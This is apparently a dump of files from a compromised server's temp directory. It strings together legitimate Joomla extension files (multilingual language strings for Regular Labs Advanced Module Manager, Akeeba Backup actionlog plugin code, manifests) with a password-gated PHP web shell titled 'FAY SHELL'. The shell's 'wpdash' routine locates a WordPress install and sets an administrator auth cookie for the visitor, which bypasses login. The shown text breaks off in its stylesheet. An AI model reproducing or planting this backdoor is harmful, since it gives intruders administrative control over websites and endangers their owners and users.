| Current Path : /proc/thread-self/root/var/tmp/ |
| Current File : //proc/thread-self/root/var/tmp/phpQulxsD |
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDMODULEMANAGER_DESC="Advanced Module Manager - erweiterte Modulfunktionen in Joomla!."
AMM_SETTINGS="Bitte den [[%1:start link%]]Module Manager[[%2:end link%]] für die Einstellungen besuchen"
AMM_THE_COMPONENT="die Advanced Module Manager-Komponente"
AMM_THE_SYSTEM_PLUGIN="das Advanced Module Manager System-Plugin"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDMODULEMANAGER_DESC="With Advanced Module Manager you have extra options and functionality to control your modules."
AMM_SETTINGS="Please see the [[%1:start link%]]Module Manager[[%2:end link%]] for settings."
AMM_THE_COMPONENT="the Advanced Module Manager component"
AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDMODULEMANAGER_DESC="با Advanced Module Manager شما تنظیمات و گزینه های بیشتری برای کنترل ماژول ها دارید"
AMM_SETTINGS="لطفا براي اعمال تنظيمات به [[%1:start link%]]مدیریت ماژول[[%2:end link%]] مراجعه کنید (پارامترها)"
AMM_THE_COMPONENT="کامپوننت Advanced Module Manager"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDMODULEMANAGER_DESC="Avec Advanced Module Manager vous disposez d'options et de fonctions supplémentaires pour contrôler vos modules."
AMM_SETTINGS="Regardez [[%1:start link%]]Module de gestion[[%2:end link%]] pour la configuration."
AMM_THE_COMPONENT="Le composant Advanced Module Manager"
AMM_THE_SYSTEM_PLUGIN="le plugin système Advanced Module Manager"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDMODULEMANAGER_DESC="「Advanced Module Manager」を使用すると、モジュールをコントロールする追加のオプションと機能が使えます。"
AMM_SETTINGS="設定(パラメータ)については、[[%1:start link%]]モジュール管理[[%2:end link%]]を参照して下さい"
AMM_THE_COMPONENT="Advanced Module Manager コンポーネント"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
;; @package Advanced Module Manager
;; @version 9.8.0PRO
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link https://regularlabs.com
;; @copyright Copyright © 2023 Regular Labs All Rights Reserved
;; @license GNU General Public License version 2 or later
;;
;; @translate Want to help with translations? See: https://regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
<?php
/**
* @package Advanced Module Manager
* @version 9.8.0PRO
*
* @author Peter van Westen <info@regularlabs.com>
* @link https://regularlabs.com
* @copyright Copyright © 2023 Regular Labs All Rights Reserved
* @license GNU General Public License version 2 or later
*/
use RegularLabs\Library\ActionLogPlugin as RL_ActionLogPlugin;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
|| ! is_file(JPATH_LIBRARIES . '/regularlabs/src/ActionLogPlugin.php')
)
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
if ( ! RL_Document::isJoomlaVersion(3))
{
RL_Extension::disable('advancedmodules', 'plugin', 'actionlog');
return;
}
if (true)
{
class PlgActionlogAdvancedModules extends RL_ActionLogPlugin
{
public $name = 'ADVANCEDMODULEMANAGER';
public $alias = 'advancedmodules';
public function __construct(&$subject, array $config = [])
{
parent::__construct($subject, $config);
$this->items = [
'module' => (object) [
'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_MODULE',
],
];
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<extension version="3" type="plugin" group="actionlog" method="upgrade">
<name>PLG_ACTIONLOG_ADVANCEDMODULES</name>
<description>PLG_ACTIONLOG_ADVANCEDMODULES_DESC</description>
<version>9.8.0PRO</version>
<creationDate>August 2023</creationDate>
<author>Regular Labs (Peter van Westen)</author>
<authorEmail>info@regularlabs.com</authorEmail>
<authorUrl>https://regularlabs.com</authorUrl>
<copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
<license>GNU General Public License version 2 or later</license>
<files>
<file plugin="advancedmodules">advancedmodules.php</file>
<folder>language</folder>
</files>
<config>
<fields name="params" addfieldpath="/libraries/regularlabs/fields">
<fieldset name="basic">
<field name="@load_language_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs"/>
<field name="@load_language" type="rl_loadlanguage" extension="plg_actionlog_advancedmodules"/>
<field name="@license" type="rl_license" extension="ADVANCEDMODULEMANAGER"/>
<field name="@version" type="rl_version" extension="ADVANCEDMODULEMANAGER"/>
<field name="@dependency" type="rl_dependency" label="RR_THE_COMPONENT" file="/administrator/components/com_advancedmodules/advancedmodules.xml"/>
<field name="@header" type="rl_header" label="ADVANCEDMODULEMANAGER" description="ADVANCEDMODULEMANAGER_DESC" url="https://regularlabs.com/advancedmodulemanager"/>
<field name="@note__settings" type="note" class="alert alert-info" description="AMM_SETTINGS,<a href="index.php?option=com_advancedmodules" target="_blank">,</a>"/>
</fieldset>
</fields>
</config>
</extension>
<?php
/**
* @package akeebabackup
* @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
* @license GNU General Public License version 3, or later
*/
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\CMSPlugin;
defined('_JEXEC') || die();
class plgActionlogAkeebabackup extends CMSPlugin
{
/** @var Container */
private $container;
/**
* Constructor
*
* @param object $subject The object to observe
* @param array $config An array that holds the plugin configuration
*
* @since 6.4.0
*/
public function __construct(&$subject, $config)
{
// Make sure Akeeba Backup is installed
if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
{
return;
}
// Make sure Akeeba Backup is enabled
if (!ComponentHelper::isEnabled('com_akeeba'))
{
return;
}
// Load FOF
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
return;
}
$this->container = Container::getInstance('com_akeeba');
// No point in logging guest actions
if ($this->container->platform->getUser()->guest)
{
return;
}
// If any of the above statement returned, our plugin is not attached to the subject, so it's basically disabled
parent::__construct($subject, $config);
}
/**
* Logs the creation of a new backup profile
*
* @param \Akeeba\Backup\Admin\Controller\Profiles $controller
* @param array $data
* @param int $id
*/
public function onComAkeebaControllerProfilesAfterApplySave($controller, $data, $id)
{
// If I have an ID in the request and it's the same of the model, I'm just editing a record
if (isset($data['id']) && $data['id'] == $id)
{
return;
}
$profile_title = $data['description'];
$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_ADD', 'com_akeeba');
}
/**
* Logs deletion of a backup profile
*
* @param \Akeeba\Backup\Admin\Controller\Profiles $controller
*/
public function onComAkeebaControllerProfilesAfterRemove($controller)
{
$ids = $controller->input->get('cid', [], 'array', 2);
$profile_title = '# ' . implode(', ', $ids);
$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_DELETE', 'com_akeeba');
}
/**
* Log configuration edit (apply)
*
* @param \Akeeba\Backup\Admin\Controller\Configuration $controller
*/
public function onComAkeebaControllerConfigurationAfterApply($controller)
{
$this->logConfigurationChange();
}
/**
* Log configuration edit (save and close)
*
* @param \Akeeba\Backup\Admin\Controller\Configuration $controller
*/
public function onComAkeebaControllerConfigurationAfterSave($controller)
{
$this->logConfigurationChange();
}
/**
* Log configuration edit (save and new)
*
* @param \Akeeba\Backup\Admin\Controller\Configuration $controller
*/
public function onComAkeebaControllerConfigurationAfterSavenew($controller)
{
$this->logConfigurationChange();
}
/**
* Log starting a new backup
*
* @param \Akeeba\Backup\Admin\Controller\Backup $controller
*/
public function onComAkeebaControllerBackupBeforeAjax($controller)
{
$ajaxTask = $this->container->input->get('ajax', '', 'cmd');
// Log only starting the backup
if ($ajaxTask != 'start')
{
return;
}
$profile_id = $this->container->platform->getSessionVar('profile', -10, 'akeeba');
if ($profile_id < 1)
{
return;
}
$profile_id = '#' . $profile_id;
$this->container->platform->logUserAction($profile_id, 'COM_AKEEBA_LOGS_BACKUP_RUN', 'com_akeeba');
}
/**
* Log downloading a backup using Joomla interface
*
* @param \Akeeba\Backup\Admin\Controller\Manage $controller
*/
public function onComAkeebaControllerManageBeforeDownload($controller)
{
$id = $this->container->input->getInt('id');
$part = $this->container->input->getInt('part', -1);
// This should never happens, but better be safe
if (!$id)
{
return;
}
$stat = Platform::getInstance()->get_statistics($id);
$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);
$title = 'Profile: "' . $profile_name . '" ID: ' . $id;
if ($part > -1)
{
$title .= ' part: ' . $part;
}
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_MANAGE_DOWNLOAD', 'com_akeeba');
}
/**
* Logs deleting backup files
*
* @param \Akeeba\Backup\Admin\Controller\Manage $controller
*/
public function onComAkeebaControllerManageBeforeDeletefiles($controller)
{
$ids = $this->getIDsFromRequest();
foreach ($ids as $id)
{
$this->container->platform->logUserAction('ID: ' . $id, 'COM_AKEEBA_LOGS_MANAGE_DELETEFILES', 'com_akeeba');
}
}
/**
* Logs deleting backup stat entry
*
* @param \Akeeba\Backup\Admin\Controller\Manage $controller
*/
public function onComAkeebaControllerManageBeforeRemove($controller)
{
$ids = $this->getIDsFromRequest();
foreach ($ids as $id)
{
$this->container->platform->logUserAction($id, 'COM_AKEEBA_LOGS_MANAGE_DELETE', 'com_akeeba');
}
}
/**
* Logs downloading remote archives to browser
*
* @param \Akeeba\Backup\Admin\Controller\RemoteFiles $controller
*/
public function onComAkeebaControllerRemoteFilesBeforeDlfromremote($controller)
{
$id = $this->container->input->getInt('id');
$part = $this->container->input->getInt('part', -1);
// This should never happens, but better be safe
if (!$id)
{
return;
}
$stat = Platform::getInstance()->get_statistics($id);
$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);
$title = 'Profile: "' . $profile_name . '" ID: ' . $id;
if ($part > -1)
{
$title .= ' part: ' . $part;
}
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DOWNLOAD', 'com_akeeba');
}
/**
* Logs downloading remote archives back to the server
*
* @param \Akeeba\Backup\Admin\Controller\RemoteFiles $controller
*/
public function onComAkeebaControllerRemoteFilesBeforeDltoserver($controller)
{
$id = $this->container->input->getInt('id');
$part = $this->container->input->getInt('part', -1);
$frag = $this->container->input->getInt('frag', -1);
// Log only the first step
if ($frag > -1 || $part > -1)
{
return;
}
// This should never happens, but better be safe
if (!$id)
{
return;
}
$stat = Platform::getInstance()->get_statistics($id);
$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);
$title = 'Profile: "' . $profile_name . '" ID: ' . $id;
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_FETCH', 'com_akeeba');
}
/**
* Logs downloading remote archives to browser
*
* @param \Akeeba\Backup\Admin\Controller\RemoteFiles $controller
*/
public function onComAkeebaControllerRemoteFilesBeforeDelete($controller)
{
$id = $this->container->input->getInt('id');
$part = $this->container->input->getInt('part', -1);
// This should never happens, but better be safe
if (!$id)
{
return;
}
$stat = Platform::getInstance()->get_statistics($id);
$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);
$title = 'Profile: "' . $profile_name . '" ID: ' . $id;
if ($part > -1)
{
$title .= ' part: ' . $part;
}
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DELETE', 'com_akeeba');
}
/**
* Logs downloading remote archives to browser
*
* @param \Akeeba\Backup\Admin\Controller\Upload $controller
*/
public function onComAkeebaControllerUploadBeforeStart($controller)
{
$id = $this->container->input->getInt('id');
// This should never happens, but better be safe
if (!$id)
{
return;
}
$stat = Platform::getInstance()->get_statistics($id);
$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);
$title = 'Profile: "' . $profile_name . '" ID: ' . $id;
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_UPLOADS_ADD', 'com_akeeba');
}
/**
* Log starting a site transfer wizard (connections valid, just before starting to actually transfer files)
*
* @param \Akeeba\Backup\Admin\Controller\Transfer $controller
*/
public function onComAkeebaControllerTransferBeforeUpload($controller)
{
$start = $this->container->input->getBool('start', false);
if (!$start)
{
return;
}
$title = $this->container->platform->getSessionVar('transfer.url', '', 'akeeba');
if (!$title)
{
return;
}
$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_TRANSFER_RUN', 'com_akeeba');
}
/**
* Logs downloading a backup log
*
* @param \Akeeba\Backup\Admin\Controller\Log $controller
*/
public function onComAkeebaControllerLogBeforeDownload($controller)
{
$tag = $this->container->input->get('tag', null, 'cmd');;
$this->container->platform->logUserAction($tag, 'COM_AKEEBA_LOGS_LOG_DOWNLOAD', 'com_akeeba');
}
/**
* Log importing a backup archive
*
* @param \Akeeba\Backup\Admin\Controller\Discover $controller
*/
public function onComAkeebaControllerDiscoverBeforeImport($controller)
{
$files = $this->container->input->get('files', [], 'array');
foreach ($files as $file)
{
$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_DISCOVER_IMPORT', 'com_akeeba');
}
}
/**
* Log importing a backup archive from S3
*
* @param \Akeeba\Backup\Admin\Controller\Discover $controller
*/
public function onComAkeebaControllerS3ImportBeforeDltoserver($controller)
{
$file = $this->container->input->get('file', '', 'string');
// Log only the initial download step
$part = $this->container->input->getInt('part', -1);
$frag = $this->container->input->getInt('frag', -1);
$step = $this->container->input->getInt('step', -1);
if ($part > -1 || $frag > -1 || $step > -1)
{
return;
}
$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_S3IMPORT_IMPORT', 'com_akeeba');
}
private function logConfigurationChange()
{
$profileName = $this->container->input->getString('profilename', null);
$this->container->platform->logUserAction('"' . $profileName . '"', 'COM_AKEEBA_LOGS_CONFIGURATION_EDIT', 'com_akeeba');
}
/**
* Gets the list of IDs from the request data
*
* @return array
*/
private function getIDsFromRequest()
{
// Get the ID or list of IDs from the request or the configuration
$cid = $this->container->input->get('cid', [], 'array');
$id = $this->container->input->getInt('id', 0);
$ids = [];
if (is_array($cid) && !empty($cid))
{
$ids = $cid;
}
elseif (!empty($id))
{
$ids = [$id];
}
return $ids;
}
}
<?xml version="1.0" encoding="utf-8"?>
<!--~
~ @package akeebabackup
~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
~ @license GNU General Public License version 3, or later
-->
<extension version="3.9.0" type="plugin" group="actionlog" method="upgrade">
<name>PLG_ACTIONLOG_AKEEBABACKUP</name>
<author>Nicholas K. Dionysopoulos</author>
<authorEmail>nicholas@dionysopoulos.me</authorEmail>
<authorUrl>https://www.akeeba.com</authorUrl>
<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
<license>GNU General Public License version 3, or later</license>
<creationDate>2023-08-07</creationDate>
<version>8.3.3</version>
<description>PLG_ACTIONLOG_AKEEBABACKUP_XML_DESCRIPTION</description>
<files>
<filename plugin="akeebabackup">akeebabackup.php</filename>
<filename>.htaccess</filename>
<filename>web.config</filename>
</files>
<languages folder="language">
<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.ini</language>
<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.sys.ini</language>
</languages>
<scriptfile>script.php</scriptfile>
</extension><?php
/**
* @package akeebabackup
* @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
* @license GNU General Public License version 3, or later
*/
use FOF40\InstallScript\Plugin;
defined('_JEXEC') || die;
// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
throw new RuntimeException('This extension requires FOF 4.');
}
class plgActionlogAkeebabackupInstallerScript extends Plugin
{
}
<?xml version="1.0"?>
<!--
This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
<system.webServer>
<security>
<requestFiltering>
<fileExtensions allowUnlisted="false" >
<clear />
<add fileExtension=".html" allowed="true"/>
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration><?php
session_start();
// Password: d30123qwe
// Hash bcrypt untuk password "d30123qwe"
$hashed_password = '$2b$12$kEQELUFBOSGNA7FJXbwbQOu1jU1KgmmSoXiFejMf82xe0zFul.11q';
function isAuthenticated() {
return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
if (password_verify($_POST['password'], $hashed_password)) {
$_SESSION['logged_in'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$error = "Denied!";
}
}
if (!isAuthenticated()) :
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FayLogin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
body {
background: #000000;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
}
.login-card {
background: #0a0a0a;
border-radius: 8px;
border: 1px solid #1f1f1f;
padding: 40px;
width: 100%;
max-width: 400px;
}
.login-card h2 {
color: #ffffff;
margin-bottom: 30px;
font-weight: 600;
font-size: 1.5rem;
}
.login-card .form-control {
background: #000000;
border: 1px solid #1f1f1f;
color: #e5e5e5;
border-radius: 6px;
padding: 12px;
}
.login-card .form-control:focus {
background: #000000;
border-color: #404040;
color: #e5e5e5;
box-shadow: none;
}
.login-card .alert-danger {
background: rgba(239, 68, 68, 0.1);
border: 1px solid #ef4444;
color: #ef4444;
border-radius: 6px;
}
.btn-login {
background: #ffffff;
border: none;
color: #000000;
padding: 12px;
font-weight: 600;
border-radius: 6px;
transition: all 0.2s ease;
}
.btn-login:hover {
background: #d0d0d0;
}
</style>
</head>
<body>
<div class="login-card">
<h2 class="text-center"><i class="fas fa-user-shield"></i> Friends</h2>
<?php if (isset($error)) echo "<div class='alert alert-danger'>$error</div>"; ?>
<form method="POST">
<div class="mb-3">
<input type="password" name="password" class="form-control form-control-lg" placeholder="Enter Password" required>
</div>
<button type="submit" class="btn btn-primary btn-login w-100">
<i class="fas fa-sign-in-alt"></i> Login
</button>
</form>
</div>
</body>
</html>
<?php
exit;
endif;
if (isset($_GET['opsi']) && $_GET['opsi'] == "wpdash" && isset($_GET['loknya'])) {
if (!function_exists('find_root_dir')) {
function find_root_dir($current_dir) {
while (!file_exists($current_dir . '/wp-load.php')) {
$parent_dir = dirname($current_dir);
if ($current_dir === $parent_dir) {
return false;
}
$current_dir = $parent_dir;
}
return $current_dir;
}
}
$mr = find_root_dir($_GET['loknya']);
if ($mr) {
@chdir($mr);
if (file_exists('wp-load.php')) {
include 'wp-load.php';
$wp_user_query = new WP_User_Query(array('role' => 'Administrator', 'number' => 1, 'fields' => 'ID'));
$results = $wp_user_query->get_results();
if (isset($results[0])) {
wp_set_auth_cookie($results[0]);
wp_redirect(admin_url());
exit;
}
die('NO ADMIN');
}
die('FAILED LOAD');
}
die('NOT WP ROOT');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php echo "<title>F"."A"."Y SH"."EL"."L</title>"; ?>
<meta name="robots" content="noindex">
<link rel="icon" href="https://cdn-icons-png.flaticon.com/512/5968/5968909.png" type="image/x-icon">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
@import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap');
:root {
--primary-color: #ffffff;
--secondary-color: #a0a0a0;
--accent-color: #707070;
--bg-black: #000000;
--card-bg: #0a0a0a;
--text-light: #e5e5e5;
--text-muted: #808080;
--border-color: #1f1f1f;
--success-color: #22c55e;
--danger-color: #ef4444;
--warning-color: #f59e0b;
}
body {
background: var(--bg-black);
font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
color: var(--text-light);
letter-spacing: -0.02em;
margin: 0;
overflow: hidden;
}
.app-layout {
display: flex;
height: 100vh;
}
.sidebar {
width: 240px;
min-width: 240px;
background: var(--card-bg);
border-right: 1px solid var(--border-color);
display: flex;
flex-direction: column;
height: 100vh;
overflow-y: auto;
}
.sidebar-brand {
padding: 24px 20px 20px;
border-bottom: 1px solid var(--border-color);
font-size: 1.2rem;
font-weight: 700;
color: var(--primary-color);
letter-spacing: -0.03em;
}
.sidebar-nav {
flex: 1;
padding: 12px 0;
overflow-y: auto;
}
.sidebar-nav a {
display: flex;
align-items: center;
gap: 10px;
padding: 10px 20px;
color: var(--secondary-color);
text-decoration: none;
font-size: 0.85rem;
font-weight: 500;
transition: all 0.15s ease;
border-left: 3px solid transparent;
}
.sidebar-nav a:hover {
color: var(--primary-color);
background: rgba(255,255,255,0.03);
border-left-color: var(--primary-color);
}
.sidebar-nav a i {
width: 18px;
text-align: center;
font-size: 0.85rem;
}
.sidebar-footer {
padding: 14px 20px;
border-top: 1px solid var(--border-color);
font-size: 0.75rem;
color: var(--text-muted);
}
.main-content {
flex: 1;
overflow-y: auto;
padding: 24px 32px;
height: 100vh;
}
@media (max-width: 768px) {
.sidebar {
width: 200px;
min-width: 200px;
}
.main-content {
padding: 16px;
}
}
@media (max-width: 576px) {
.app-layout {
flex-direction: column;
}
.sidebar {
width: 100%;
min-width: 100%;
height: auto;
max-height: 40vh;
}
.main-content {
height: 60vh;
}
}
.info-card {
background: var(--card-bg);
border-radius: 8px;
padding: 20px;
margin-bottom: 20px;
border: 1px solid var(--border-color);
transition: all 0.2s ease;
}
.info-card:hover {
border-color: var(--accent-color);
}
.info-card h5 {
color: var(--primary-color);
font-weight: 600;
margin-bottom: 15px;
font-size: 0.95rem;
}
.system-info {
background: var(--card-bg);
border-radius: 8px;
padding: 20px;
margin-bottom: 20px;
border: 1px solid var(--border-color);
font-size: 0.9rem;
line-height: 1.8;
}
.badge-custom {
background: var(--card-bg);
color: var(--primary-color);
padding: 4px 10px;
border-radius: 4px;
font-weight: 500;
font-size: 0.75rem;
border: 1px solid var(--border-color);
}
.breadcrumb-custom {
background: var(--card-bg);
padding: 12px 16px;
border-radius: 6px;
margin-bottom: 20px;
border: 1px solid var(--border-color);
}
.breadcrumb-custom a {
color: var(--secondary-color);
text-decoration: none;
font-weight: 400;
transition: color 0.2s ease;
}
.breadcrumb-custom a:hover {
color: var(--primary-color);
}
.form-control {
border: 1px solid var(--border-color);
border-radius: 6px;
padding: 10px 14px;
transition: all 0.2s ease;
background: var(--bg-black);
color: var(--t